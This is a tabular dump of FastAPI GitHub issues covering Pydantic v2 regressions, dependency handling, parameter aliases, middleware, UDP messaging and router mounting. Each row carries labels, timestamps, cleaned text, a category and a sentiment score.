I would'... [TRUNCATED]","question,investigate",2023-11-26 09:31:09+00:00,2025-12-02 20:58:31+00:00,5,"question,investigate",737.4773,functools partial does not work on an async dependable discussed in originally posted by lieryan june first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i would truncated,help,0.9136
tiangolo/fastapi,2010964420,`Annotated` dependencies are interpreted incorrectly when using `PEP 695`-style type alias.,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10662

<div type='discussions-op-text'>

<sup>Originally posted by **Rockmizu** November 16, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from __future__ import annotations

from typing import Annotated, TypeAlias

from fastapi import Depends, FastAPI

app = FastAPI()


# dependency
async def some_value() -> int:
    return 123

# This works.
DependedValue: TypeAlias = Annotated[int, Depends(some_value)]

# This won't work.
# type DependedValue = Annotated[int, Depends(some_value)]


@app.get('/')
async def get_with_dep(value: DependedValue) -> str:
    print(f'{type(value) = !r}')
  ... [TRUNCATED]",question,2023-11-26 09:17:29+00:00,2026-02-05 18:34:39+00:00,8,question,802.3869,dependencies are interpreted incorrectly when using style type alias discussed in originally posted by rockmizu november first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from future import annotations from typing import annotated typealias from fastapi import depends fastapi app fastapi dependency async def some value int return this works dependedvalue typealias annotated int depends some value this won t work type dependedvalue annotated int depends some value app get async def get with dep value dependedvalue str print f type value r truncated,help,0.9875
tiangolo/fastapi,2010955229,FastAPI with Pydantic v2 and FastAPI-JWT-Auth,"Pydantic v2 isn't working with FastAPI-JWT-Auth i'm always getting the Type Error highlighting that @validators can not be applied on schemas of  json-to-python.

So is there any other alternative other than downgrading to version 1?",,2023-11-26 08:44:35+00:00,2023-11-26 09:15:04+00:00,0,nan,0.0212,fastapi with pydantic v and fastapi jwt auth pydantic v isn t working with fastapi jwt auth i m always getting the type error highlighting that validators can not be applied on schemas of json to python so is there any other alternative other than downgrading to version,others,-0.4588
tiangolo/fastapi,2005874531,AttributeError: root on self.__pydantic_serializer__.to_python after upgrade Fastapi to 0.103.1,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

After update fastapi to 0.103.1, the RootModel cannot be serialized anymore. Here is my SerializableMessage class:

```
class SerializableMessage(RootModel):
    root: Message

    class Config:
        arbitrary_types_allowed = True  # for Message
```

the below `server_debug_summary` contains SerializableMessage:

> File ""N:\Pycharm\xxxx\src\app\web\views\debug_view.py"", line 54, in _compute_debug_summary
>     debug_view_data.update(jsonable_encoder(server_debug_summary))
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\fastapi\encoders.py"", line 131, in jsonable_encoder
>     obj_dict = _model_dump(
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\fastapi\_compat.py"", line 171, in _model_dump
>     return model.model_dump(mode=mode, **kwargs)
>   File ""N:\Pycharm\xxxx\venv\lib\site-packages\pydantic\main.py"", line 308, in model_dump
>     return self.__pydantic_serializer__.to_python(
> AttributeError: root",,2023-11-22 09:03:03+00:00,2023-11-22 09:24:22+00:00,0,nan,0.0148,attributeerror root on self pydantic serializer to python after upgrade fastapi to privileged issue x i m tiangolo or he asked me directly to create an issue here issue content after update fastapi to the rootmodel cannot be serialized anymore here is my serializablemessage class the below contains serializablemessage file n pycharm xxxx src app web views debug view py line in compute debug summary debug view data update jsonable encoder server debug summary file n pycharm xxxx venv lib site packages fastapi encoders py line in jsonable encoder obj dict model dump file n pycharm xxxx venv lib site packages fastapi compat py line in model dump return model model dump mode mode kwargs file n pycharm xxxx venv lib site packages pydantic main py line in model dump return self pydantic serializer to python attributeerror root,bug,-0.6597
tiangolo/fastapi,1995908970,Fastapimysql,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Fastapi creating no of connection In mysql I can't find the reason,some of the time only it is happening we feel when one query response is delay that time it happening also Some one big query running totally fastapi freezed that I am restarting the service ",,2023-11-16 02:13:10+00:00,2023-11-16 07:37:29+00:00,0,nan,0.2252,fastapimysql privileged issue x i m tiangolo or he asked me directly to create an issue here issue content fastapi creating no of connection in mysql i can t find the reason some of the time only it is happening we feel when one query response is delay that time it happening also some one big query running totally fastapi freezed that i am restarting the service,others,0.4019
tiangolo/fastapi,1980953502,Fastapi cannot be effectively restarted after forced shutdown (ctrl+c),"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I use ctrl + c to forcefully close the current fastapi program, the cmd interface only stays at Finishsever and the shuttingdown code line cannot be seen. At this time, fastapi can still be used normally and is not effectively closed.

But when I directly closed the cmd program running by fastapi by killing the process, and restarted fastapi through python, it could no longer automatically and **effectively restart** as the code file changed _(I modified the code at will, but fastapi read The code file still stays at the last update before closing, and subsequent updates and changes are ignored by uvicorn_).

I can only make the fastapi program run normally by restarting the computer, but the **cost of** restarting the computer is too high. I want to keep fastapi and uvicorn closed and started normally. What should I do?",,2023-11-07 09:49:29+00:00,2023-11-07 09:51:39+00:00,0,nan,0.0015,fastapi cannot be effectively restarted after forced shutdown ctrl c privileged issue x i m tiangolo or he asked me directly to create an issue here issue content when i use ctrl c to forcefully close the current fastapi program the cmd interface only stays at finishsever and the shuttingdown code line cannot be seen at this time fastapi can still be used normally and is not effectively closed but when i directly closed the cmd program running by fastapi by killing the process and restarted fastapi through python it could no longer automatically and effectively restart as the code file changed i modified the code at will but fastapi read the code file still stays at the last update before closing and subsequent updates and changes are ignored by uvicorn i can only make the fastapi program run normally by restarting the computer but the cost of restarting the computer is too high i want to keep fastapi and uvicorn closed and started normally what should i do,others,-0.947
tiangolo/fastapi,1973801790,What is the differance between FastApi Depends and pydantic BaseModel,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi everyone, can you explain me this topic and when use pydanctic BaseModel and when Depends",,2023-11-02 09:04:12+00:00,2023-11-02 11:40:35+00:00,1,nan,0.1086,what is the differance between fastapi depends and pydantic basemodel privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi everyone can you explain me this topic and when use pydanctic basemodel and when depends,others,0.6124
tiangolo/fastapi,1971826304,Failed Boot Operation,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content



**Title:** Failed Boot Operation with FastAPI

**Issue Type:** Bug

**Description:**

When attempting to start my FastAPI application, I encountered a ""Failed Boot Operation"" error. This prevents the application from starting up.

**Steps to Reproduce:**

1. Install FastAPI using pip.
2. Create a basic FastAPI app.
3. Attempt to run the application.
4. Observe the ""Failed Boot Operation"" error.

**Expected Behavior:**

The FastAPI application should start without any errors.

**Actual Behavior:**

The application throws a ""Failed Boot Operation"" error and fails to start.

**Environment:**

- FastAPI Version: (1.0)
- Python Version: (3.1.1)
- Operating System: (windows 11)


",,2023-11-01 07:06:30+00:00,2023-11-01 08:54:48+00:00,0,nan,0.0752,failed boot operation privileged issue i m tiangolo or he asked me directly to create an issue here issue content title failed boot operation with fastapi issue type bug description when attempting to start my fastapi application i encountered a failed boot operation error this prevents the application from starting up install fastapi using pip create a basic fastapi app attempt to run the application observe the failed boot operation error the fastapi application should start without any errors the application throws a failed boot operation error and fails to start environment fastapi version python version windows,others,-0.9712
tiangolo/fastapi,1955262193,How to use multi BackgroundTasks,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I want like this but not work
![image](https://github.com/tiangolo/fastapi/assets/77484083/6ec8fb07-8f48-4d34-8876-17f2c36bb236)

How to use like that? Thanks everyone",,2023-10-21 03:09:33+00:00,2023-10-21 06:55:35+00:00,0,nan,0.157,how to use multi backgroundtasks privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i want like this but not work image how to use like that thanks everyone,help,0.8885
tiangolo/fastapi,1949612544,Combining image and data response in fast api.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,

I want to send image as well as information related to the image as response in fast api. I tried passing data as header information in file response, I am able to get only image in the output response not the data information. Can anyone help me.",,2023-10-18 12:20:13+00:00,2023-10-18 12:22:36+00:00,0,nan,0.0017,combining image and data response in fast api privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i want to send image as well as information related to the image as response in fast api i tried passing data as header information in file response i am able to get only image in the output response not the data information can anyone help me,others,0.9337
tiangolo/fastapi,1945254194,verification failed,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Service registration to eureka and post request, entity verification failed",,2023-10-16 13:43:33+00:00,2023-10-16 15:25:02+00:00,0,nan,0.0705,verification failed privileged issue x i m tiangolo or he asked me directly to create an issue here issue content service registration to eureka and post request entity verification failed,others,-0.3818
tiangolo/fastapi,1937234563,RequestValidationError is **not** a sub-class of Pydantic's ValidationError,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10421

<div type='discussions-op-text'>

<sup>Originally posted by **valentinoli** October 10, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.exception_handler(ValidationError)
async def validation_exception_handler(request: Request, exc: ValidationError):
    return PlainTextResponse(
        str(exc), status_code=status.HTTP_500_INTERNAL_SERVER_ERROR
    )
```


### Description

I was trying to handle both `RequestValidationError` and `ValidationError` by writing a custom handler for `ValidationError` but that doesn't work.

[The docs](https://fastapi.tiangolo.com/tutorial/handling-errors/#... [TRUNCATED]","question,docs",2023-10-11 08:58:02+00:00,2025-12-12 15:12:09+00:00,9,"question,docs",793.2598,requestvalidationerror is not a sub class of pydantic s validationerror discussed in originally posted by valentinoli october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i was trying to handle both and by writing a custom handler for but that doesn t work the docs truncated,bug,0.9136
tiangolo/fastapi,1920603595,Working with Pydantic v1 while having v2 installed,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9966

<div type='discussions-op-text'>

<sup>Originally posted by **slafs** July 29, 2023</sup>
This is a continuation of a topic introduced in https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6449868 as requested by @Kludex. I've chosen the ""Show and tell"" category as the (lack of) template seems better for this discussion.

In the original thread I've asked if there's a way to work with pydantic v1 while having v2 installed:

Pydantic v2 ships the latest version of v1 for easier migration, so the pattern is to work with v1 via things like `from pydantic.v1 import BaseModel` etc. while having v2 installed.

Currently, this approach doesn't seem to work with FastAPI 0.100.0 and the following snippet:
```py
from fastapi import FastAPI

from pydantic.v1 import BaseModel


class Model(BaseModel):
    foo: str = ""foo""
    bar: int = 2


app = FastAPI()


@app.get(""/"")
def root(model: Model) -> Model:
    return model
```
produces the following error:
```
Traceback (most recent call last):
  File "".../fiddles/fastapi_pydantic_v1_on_v2.py"", line 15, in <module>
    def root(model: Model) -> Model:
  File "".../lib/python3.10/site-packages/fastapi/routing.py"", line 706, in decorator
    self.add_api_route(
  File "".../lib/python3.10/site-packages/fastapi/routing.py"", line 645, in add_api_route
    route = route_class(
  File "".../lib/python3.10/site-packages/f... [TRUNCATED]",,2023-10-01 06:56:16+00:00,2025-10-11 17:55:22+00:00,15,nan,741.4577,working with pydantic v while having v installed discussed in originally posted by slafs july this is a continuation of a topic introduced in as requested by kludex i ve chosen the show and tell category as the lack of template seems better for this discussion in the original thread i ve asked if there s a way to work with pydantic v while having v installed pydantic v ships the latest version of v for easier migration so the pattern is to work with v via things like etc while having v installed currently this approach doesn t seem to work with fastapi and the following snippet produces the following error traceback most recent call last file fiddles fastapi pydantic v on v py line in def root model model model file lib python site packages fastapi routing py line in decorator self add api route file lib python site packages fastapi routing py line in add api route route route class file lib python site packages f truncated,others,0.6369
tiangolo/fastapi,1912618154,High cpu usage and memory usage when access request body in middleware.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I try the code from https://github.com/tiangolo/fastapi/issues/1123
###  code
```
class RequestLogMiddleware(BaseHTTPMiddleware):
    def __init__(self, app: ASGIApp, dispatch: typing.Optional[DispatchFunction] = None, logger = None, white_list = []):
        self.white_list = white_list
        self.logger = logger
        self.regex_cache = dict()
        super(RequestLogMiddleware, self).__init__(app, dispatch)

    def get_trace_id(self):
        return str(uuid.uuid4())
    async def set_body(self, request: Request, body: bytes):
        async def receive() -> Message:
            return {""type"": ""http.request"", ""body"": body}
        request._receive = receive

    async def get_body(self, request: Request) -> bytes:
        body = await request.body()
        await self.set_body(request, body)
        try:
            return json.load(body.decode())
        except Exception:
            return body.decode()

    def in_white_list(self, method, path):
        key = f""{method}|{path}""
        if key in self.regex_cache:
            return self.regex_cache[key]
        for method_, regex in self.white_list:
            if method == method_ and re.match(regex, path):
                if key not in self.regex_cache:
                    self.regex_cache[key] = True
                self.logger.error(f""SIZE OF CACHE: {len(self.regex_cach... [TRUNCATED]",,2023-09-26 03:37:35+00:00,2023-09-26 03:44:01+00:00,0,nan,0.0045,high cpu usage and memory usage when access request body in middleware privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i try the code from code class requestlogmiddleware basehttpmiddleware def init self app asgiapp dispatch typing optional dispatchfunction none logger none white list self white list white list self logger logger self regex cache dict super requestlogmiddleware self init app dispatch def get trace id self return str uuid uuid async def set body self request request body bytes async def receive message return type http request body body request receive receive async def get body self request request bytes body await request body await self set body request body try return json load body decode except exception return body decode def in white list self method path key f method path if key in self regex cache return self regex cache key for method regex in self white list if method method and re match regex path if key not in self regex cache self regex cache key true self logger error f size of cache len self regex cach truncated,feature,0.8591
tiangolo/fastapi,1912132038,Get the StringConstraints directly from the Identifier type,"**Problem:**
FastAPI does not validate custom string build using `Annotated[str, StringConstraints(...)]`

**Temporary solution**
_My solution is to annotate the constrained type with Path again, then it seems to work:_

```python
from typing import Annotated

from fastapi import FastAPI, Path
from pydantic import StringConstraints

# In my case this is imported from a lib with pydantic but without fastapi,
# so it can't be changed to Annotated[str, Path(pattern=r""^[a-fA-F0-9]+$"")]
Identifier = Annotated[str, StringConstraints(pattern=r""^[a-fA-F0-9]+$"")]


app = FastAPI()


@app.get(""/{some_id}"")
async def get_something(some_id: Annotated[Identifier, Path()]):
    return some_id

```

**Feature request**
Would be nice if fastapi would be able to get the constraint directly from the `Identifier` type without being required to add `Annotated[Identifier, Path()]`.

_Originally posted by @JasperJuergensen in https://github.com/tiangolo/fastapi/discussions/10105#discussioncomment-6901418_","feature,confirmed",2023-09-25 19:15:58+00:00,2025-06-17 11:11:27+00:00,7,"feature,confirmed",630.6635,get the stringconstraints directly from the identifier type problem fastapi does not validate custom string build using temporary solution my solution is to annotate the constrained type with path again then it seems to work feature request would be nice if fastapi would be able to get the constraint directly from the type without being required to add originally posted by jasperjuergensen in,feature,0.2937
tiangolo/fastapi,1911928478,"Pydantic 2 Regression: Openapi error when ""examples"" contains models","### Discussed in https://github.com/tiangolo/fastapi/discussions/10097

<div type='discussions-op-text'>

<sup>Originally posted by **UltimateLobster** August 17, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from typing import Annotated

from pydantic import BaseModel, Field
from fastapi import Body, FastAPI

app = FastAPI()


class Toy(BaseModel):
    name: Annotated[str, Field(examples=[""mouse"", ""ball""])]


class Cat(BaseModel):
    toys: Annotated[list[Toy], Field(examples=[
        [Toy(name=""mouse""), Toy(name=""ball"")]
    ])]


@app.post(""/cats"")
async def create_cat(cat: Annotated[Cat, Body()]):
    print(""cat was created"")


... [TRUNCATED]","bug,confirmed",2023-09-25 16:54:56+00:00,2023-09-26 04:20:03+00:00,3,"bug,confirmed",0.4758,pydantic regression openapi error when examples contains models discussed in originally posted by ultimatelobster august first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uvicorn from typing import annotated from pydantic import basemodel field from fastapi import body fastapi app fastapi class toy basemodel name annotated str field examples mouse ball class cat basemodel toys annotated list toy field examples toy name mouse toy name ball app post cats async def create cat cat annotated cat body print cat was created truncated,bug,0.9418
tiangolo/fastapi,1904416564,`Body` related parameters don't take `alias` in consideration,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The `Body`, `File`, and `Form` parameters don't support `alias`.

The following snippet demonstrates the issue: 

```py
from typing import Annotated

from fastapi import Body, Cookie, FastAPI, Form, UploadFile, File, Query, Header, Path

app = FastAPI()


@app.post(""/{path}"")
def endpoint(
    path: Annotated[int, Path(alias=""PathAlias"")],
    cookie: Annotated[int, Cookie(alias=""CookieAlias"")],
    header: Annotated[int, Header(alias=""HeaderAlias"")],
    query: Annotated[int, Query(alias=""QueryAlias"")],
    body: Annotated[int, Body(alias=""BodyAlias"")],
    form: Annotated[int, Form(alias=""FormAlias"")],
    file: Annotated[UploadFile, File(alias=""FileAlias"")],
):
    ...
```

If you look at the generated Swagger you see that `alias` is only being used for `params.Param` related fields i.e. `Path`, `Cookie`, etc.

<img width=""1426"" alt=""Screenshot 2023-09-20 at 10 04 21"" src=""https://github.com/tiangolo/fastapi/assets/7353520/f5303787-615b-496b-8406-14f72c3e245e"">

People can overcome this right now using `validation_alias` as follows:

```py
from typing import Annotated

from fastapi import Body, Cookie, FastAPI, Form, UploadFile, File, Query, Header, Path

app = FastAPI()


@app.post(""/{path}"")
def endpoint(
    path: Annotated[int, Path(alias=""PathAlias"")],
    cookie: Annotated[int, Cookie(alias=""CookieAlias"")],
    head... [TRUNCATED]",bug,2023-09-20 08:06:09+00:00,2025-12-12 15:04:13+00:00,10,bug,814.2903,related parameters don t take in consideration privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the and parameters don t support the following snippet demonstrates the issue if you look at the generated swagger you see that is only being used for related fields i e etc img width alt screenshot at src people can overcome this right now using as follows py from typing import annotated from fastapi import body cookie fastapi form uploadfile file query header path app fastapi app post path def endpoint path annotated int path alias pathalias cookie annotated int cookie alias cookiealias head truncated,bug,0.7717
tiangolo/fastapi,1903507781,Send and receive data through UDP with FastAPI,"I am trying to send and receive data through UDP with devices connected in different networks. I could parse the clients data and save it in REDIS, so I know the address of the decives. I could test sending UDP data to the device and it responds. The problem appears when I want to attend for a request and then send UDP data to the device. I have this:

```
import asyncio
import uvicorn
from fastapi import FastAPI
from pydantic import BaseModel
import socket
import utils
from Server import Server
from ServerCommands import ServerCommands as sc

#-------------------------
eventHandler = Server()

async def send_udp_message_async(udp_socket, add , message: bytes):
    
    try:
        bytes_sent = udp_socket.sendto(message, add)
        print(""MENSAJE ENVIADO ASYNC"")
        return bytes_sent
    except Exception as e:
        print(""Error al enviar el mensaje UDP:"", str(e))
    finally:
        udp_socket.close()

async def receive_response(udp_socket, desired_response, timeout):
    loop = asyncio.get_event_loop()
    print(""ingresa receive response"")
# 1. Define data type
class Msg(BaseModel):
    msg: str
    mac: str
    add: tuple[str, int] = []
    id: int

# 2. Define an API object
app = FastAPI()

@app.on_event(""startup"")
async def startup_event():
    global UDP_HOST, UDP_PORT
    UDP_HOST = ""0.0.0.0""
    UDP_PORT = 5002
@app.post(""/send-udp/"")
async def send_udp_message(inp: Msg):
    try:
        udp_socket = socket.soc... [TRUNCATED]",,2023-09-19 18:20:30+00:00,2023-09-19 18:53:11+00:00,0,nan,0.0227,send and receive data through udp with fastapi i am trying to send and receive data through udp with devices connected in different networks i could parse the clients data and save it in redis so i know the address of the decives i could test sending udp data to the device and it responds the problem appears when i want to attend for a request and then send udp data to the device i have this import asyncio import uvicorn from fastapi import fastapi from pydantic import basemodel import socket import utils from server import server from servercommands import servercommands as sc eventhandler server async def send udp message async udp socket add message bytes try bytes sent udp socket sendto message add print mensaje enviado async return bytes sent except exception as e print error al enviar el mensaje udp str e finally udp socket close async def receive response udp socket desired response timeout loop asyncio get event loop print ingresa receive response define data type class msg basemodel msg str mac str add tuple str int id int define an api object app fastapi app on event startup async def startup event global udp host udp port udp host udp port app post send udp async def send udp message inp msg try udp socket socket soc truncated,others,-0.0258
tiangolo/fastapi,1900363796,How to define custom objects as query parameters in FastAPI (using PydanticV2 annotations)?,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10101

<div type='discussions-op-text'>

<sup>Originally posted by **DSamuylov** August 17, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import bson
from typing import Annotated

from pydantic import (
    field_validator,
    PlainSerializer,
    WithJsonSchema,
    BeforeValidator,
    TypeAdapter,
)
from fastapi import FastAPI


ObjectId = Annotated[
    bson.ObjectId,
    BeforeValidator(lambda x: bson.ObjectId(x) if isinstance(x, str) else x),
    PlainSerializer(lambda x: f""{x}"", return_type=str),
    WithJsonSchema({""type"": ""string""}, mode=""validation""),
    WithJsonSchema({""type"": ... [TRUNCATED]",question,2023-09-18 07:49:30+00:00,2024-07-26 08:37:19+00:00,10,question,312.0332,how to define custom objects as query parameters in fastapi using pydanticv annotations discussed in originally posted by dsamuylov august first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import bson from typing import annotated from pydantic import field validator plainserializer withjsonschema beforevalidator typeadapter from fastapi import fastapi objectid annotated bson objectid beforevalidator lambda x bson objectid x if isinstance x str else x plainserializer lambda x f x return type str withjsonschema type string mode validation withjsonschema type truncated,help,0.9136
tiangolo/fastapi,1892449440,Inconsistent add_api_route types,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10235

<div type='discussions-op-text'>

<sup>Originally posted by **sidekick-eimantas** September 12, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
### Direct mounting of routes
import pathlib

from fastapi import FastAPI, APIRouter
import uvicorn
import pydantic

class HelloRequest(pydantic.BaseModel):
    id: str


class HelloResponse(pydantic.BaseModel):
    hello: str


class Hello:
    def __init__(self, name: str) -> None:
        self.name = name

    async def handle(self, request: HelloRequest) -> HelloResponse:
        return HelloResponse(hello=self.name)

app = FastAPI()
h... [TRUNCATED]","bug,good first issue,confirmed,easy close",2023-09-12 12:47:37+00:00,2024-08-17 04:52:33+00:00,8,"bug,good first issue,confirmed,easy close",339.6701,inconsistent add api route types discussed in originally posted by sidekick eimantas september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python direct mounting of routes import pathlib from fastapi import fastapi apirouter import uvicorn import pydantic class hellorequest pydantic basemodel id str class helloresponse pydantic basemodel hello str class hello def init self name str none self name name async def handle self request hellorequest helloresponse return helloresponse hello self name app fastapi h truncated,bug,0.9136
tiangolo/fastapi,1882159964,"How to deployment my DDP model, which contains 2 processes, using fastapi?","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i deployment my DDP model, which contains 2 processes, but i got an error like
```
INFO:     Started server process [97844]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://localhost:8001 (Press CTRL+C to quit)
INFO:     Started server process [97845]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
ERROR:    [Errno 98] error while attempting to bind on address ('127.0.0.1', 8001): address already in use
INFO:     Waiting for application shutdown.
INFO:     Application shutdown complete.
WARNING:torch.distributed.elastic.multiprocessing.api:Sending process 97844 closing signal SIGTERM
INFO:     Shutting down
INFO:     Waiting for application shutdown.
INFO:     Application shutdown complete.
INFO:     Finished server process [97844]
ERROR:torch.distributed.elastic.multiprocessing.api:failed (exitcode: 1) local_rank: 1 (pid: 97845) of binary: /home/wangyf/miniconda3/envs/kpl/bin/python
Traceback (most recent call last):
  File ""/home/wangyf/miniconda3/envs/kpl/bin/torchrun"", line 8, in <module>
    sys.exit(main())
  File ""/home/wangyf/miniconda3/envs/kpl/lib/python3.9/site-packages/torch/distributed/elastic/multiprocessing/errors/__init__.py"", line 346, in wrapper
    return f(*args, **kwargs)
  File ""/home/wangyf/miniconda3/envs/kpl/lib/pyth... [TRUNCATED]",,2023-09-05 15:01:08+00:00,2023-09-06 09:34:18+00:00,2,nan,0.773,how to deployment my ddp model which contains processes using fastapi privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i deployment my ddp model which contains processes but i got an error like info started server process info waiting for application startup info application startup complete info uvicorn running on press ctrl c to quit info started server process info waiting for application startup info application startup complete error errno error while attempting to bind on address address already in use info waiting for application shutdown info application shutdown complete warning torch distributed elastic multiprocessing api sending process closing signal sigterm info shutting down info waiting for application shutdown info application shutdown complete info finished server process error torch distributed elastic multiprocessing api failed exitcode local rank pid of binary home wangyf miniconda envs kpl bin python traceback most recent call last file home wangyf miniconda envs kpl bin torchrun line in sys exit main file home wangyf miniconda envs kpl lib python site packages torch distributed elastic multiprocessing errors init py line in wrapper return f args kwargs file home wangyf miniconda envs kpl lib pyth truncated,help,-0.9716
tiangolo/fastapi,1875443312,Mounting sub-applications under `APIRouter`,"### Discussed in https://github.com/tiangolo/fastapi/discussions/8682

<div type='discussions-op-text'>

### Example Code

```python
from fastapi import FastAPI, APIRouter
from starlette.testclient import TestClient

app = FastAPI()
api_router = APIRouter(prefix=""/api"")


@api_router.get(""/app"")
def read_main():
    return {""message"": ""Hello World from main app""}


app.include_router(api_router)

subapi = FastAPI()


@subapi.get(""/sub"")
def read_sub():
    return {""message"": ""Hello World from sub API""}


api_router.mount(""/subapi"", subapi)

client = TestClient(app)

assert client.get('/api/app').status_code == 200

# this next assert fails
assert client.get('/api/subapi/sub').status_code == 200
```


### Description

Is it possible to mount a sub-application under an APIRouter? APIRouter itself has a mount function and accepts similar arguments to mounting a sub-application on a FastAPI instance, but I can't get the routing to actually work (nor can i get the openapi docs or spec to come back from that I would assume are the correct URLs.

